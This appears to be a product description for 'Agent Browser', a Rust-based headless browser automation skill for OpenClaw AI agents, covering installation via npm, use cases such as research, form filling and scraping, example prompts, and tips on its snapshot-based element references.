Agent Browser

What This Skill Does

Agent Browser is a robust, high-performance headless browser automation tool built in Rust, designed to bridge the gap between AI reasoning and real-world web interactions. It allows your OpenClaw AI agent to behave like a human user by programmatically navigating URLs, inspecting DOM elements, interacting with forms, and scraping data. By leveraging a lightning-fast Rust engine with a Node.js fallback, it ensures that your agent can handle complex single-page applications and legacy sites with ease. The skill translates complex page structures into simplified 'refs' (like @e1), allowing the AI to precisely target interactive components without needing to understand raw HTML.

Installation

Installation is a two-step process to ensure maximum compatibility and performance. First, ensure the OpenClawProvider is installed on your host system as per the specific requirements for your OS (Windows or MacOS). Once the provider is ready, install the agent-browser package via npm globally: npm install -g agent-browser. After installation, run agent-browser install to download necessary browser dependencies. For power users, the tool can also be built from source using pnpm build if customization or local development is required.

Use Cases

• Automated Web Research: Have your agent visit multiple sources, search for specific data points, and compile them into a report.
• Form Automation: Automate repetitive data entry tasks across web portals where traditional APIs are unavailable.
• Testing & QA: Use the agent to verify UI interactions by simulating user clicks, inputs, and navigation flows automatically.
• Dynamic Web Scraping: Interact with sites that require authentication or JavaScript execution that standard scrapers cannot handle.

Example Prompts

1. "Open https://www.github.com, find the search bar, type 'OpenClaw', and press Enter. Then, snapshot the results and list the first five repository links found."
2. "Go to my dashboard, click the 'Settings' button, locate the email input field using the current page snapshot, and update it to [email protected]."
3. "Scroll down the current page by 1000 pixels to trigger lazy loading, then take a new snapshot and find the 'Load More' button."

Tips & Limitations

• Snapshot Strategy: Use snapshot -i frequently. It is highly optimized to return only interactive elements, which helps reduce token usage and improves AI focus.
• Robustness: After significant DOM changes, such as navigating or triggering modal popups, always perform a fresh snapshot to update your @ref map.
• Limitations: While fast, this tool is headless. Complex animations or sites requiring specific mouse-tracking movements (e.g., canvas-based games) may behave differently than they do in a standard browser. Ensure the OpenClawProvider is kept updated for the best compatibility.